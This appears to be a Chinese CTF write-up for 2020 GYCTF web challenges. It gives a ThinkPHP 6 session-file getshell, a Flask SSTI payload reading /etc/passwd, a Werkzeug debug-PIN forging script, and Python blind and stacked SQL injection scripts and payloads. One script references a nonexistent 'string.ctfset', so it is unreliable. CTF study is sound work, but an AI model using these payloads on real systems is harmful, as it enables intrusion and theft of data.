2020 GYCTF WP

2

easy_thinking

TP6 的一个漏洞,由于网站给所有未登陆的用户也会发 session,而登陆之后服务器会继续用这个 session_id 对用户进行区分,由于这个过程服务器没有检查 session_id 否合法,且在接下来服务的过程中会把 session_id 当做文件名来存储用户信息,这样就为 getshell 提供了可能性。

由于 tp6 还是会判断 session 长度是否合法,因此在未登录状态下将 session 最后四位修改为 .php,登录后在搜索框直接搜索一句话,再访问 /runtime/session/ 即可看到我们写入的一句话。

修改 session_id

用菜刀直接连接,发现 200 无法执行,仔细看一下报错,看起来下一步是要 bypass disable_function,再看看 phpinfo,发现 allow_url_fopen 开着,不可以远程文件包含,但是可以远程下载文件。

用 copy 函数远程下载下 exp,把 exp 的参数改成 /readflag 就可以 getflag。

FLASK APP

网站会输出 base64 decode 出来的内容,搜到了一个 flask 的 ssti payload,发现可以直接用:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

但是直接读 flag 会被 waf 拦截,用字符串拼接一下发现没有 /flag 文件,因此这个题应该是伪造 pin 码,关于 flask 的 pin 码安全,这篇文章讲的十分详细,简单来说,pin 码就是由几个主机的信息 md5 后稍加变化得来的,因此只要确定计算机用户名、modname(默认flask.app)、appname(默认 Flask)、网站绝对路径、主机 mac 地址 、主机 machine id 这几项即可用网上找到的脚本算出pin码:

import hashlib
from itertools import chain
probably_public_bits = [
	'flaskweb',# 	
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	# str(uuid.getnode()),  /sys/class/net/ens33/address  /sys/class/net/eth0/address
	'2485377957898',
	# get_machine_id(), /etc/machin-id /proc/self/cgroup 6afeacdf-afcf-4552-8502-719172374dda
	'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

算出 pin 码开启调试模式即可获得 flag。

不得不说这次比赛注入题是真的多,Day2 上来仨盲注直接人都注傻了,把脚本放上来懒得写wp了。

盲注

不能有等号大于小于等操作符,考虑regexp盲注,直接跑脚本:

# Author : imagin
# blind_exp.py

import requests
import time
import string

url = "http://20a93bf7e9894f8c8a22fd0f2cbf83b515a7622554fc4c2b.changame.ichunqiu.com/"
alpha = string.ctfset

res = ""
s = requests.session()
for index in range(50):
	for a in alpha:
		payload = "2 or if(substr(fl4g,{},1) regexp \"^{}\",sleep(3),1)".format(f"{index}", a)
		data = {"id" : payload}
		try:
			re1 = requests.get(url, params=data, timeout=3)
		except Exception as e:
			res += a
			print(res)
			break

easysqli_copy

宽字节 bypass 引号,没 ban 分号,用 set + prepare + execute 堆叠注入执行 sql,用 concat 拼出sql语句,由于会自动转移,中间还得加一个 char(),最后 or 1=’1 闭合后引号。

# Author : imagin
# Ezsqli_copy.py

import requests
import string

alpha = string.ascii_letters + string.digits + "{}-=_+"
url = ''
res = ''
for i in range(1,50):
    for a in alpha:
        t1 = 'select if(ascii(substr((select fllllll4g from table1),{},1))={},sleep(10),1)'.format(i,ord(a))
        t2 = ''
        for k in t1:
            t2 += 'char({}),'.format(ord(k))
        t3 = "set @t1=concat({});PREPARE t2 FROM @t1;EXECUTE t2;||{}%271{}%27={}%271".format(t2[:-1],"%df","%df","%df")
        payload = '?id=1{}%27;{}'.format('%df',t3)
        try:
            re1 = requests.get(url + payload, timeout=3)
        except Exception as e:
            res += a
            print(res)
            break

Black_list

随便注改的题,但是堆叠注入的一套都被 ban 了,show 只能爆出表名列名,最后有师傅提醒用 handler 代替 select,payloads:

1'; show tables#
1'; show columns from FlagHere#
1'; handler FlagHere open; handler FlagHere read first;

还剩下几题的wp没写完 先咕咕咕

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.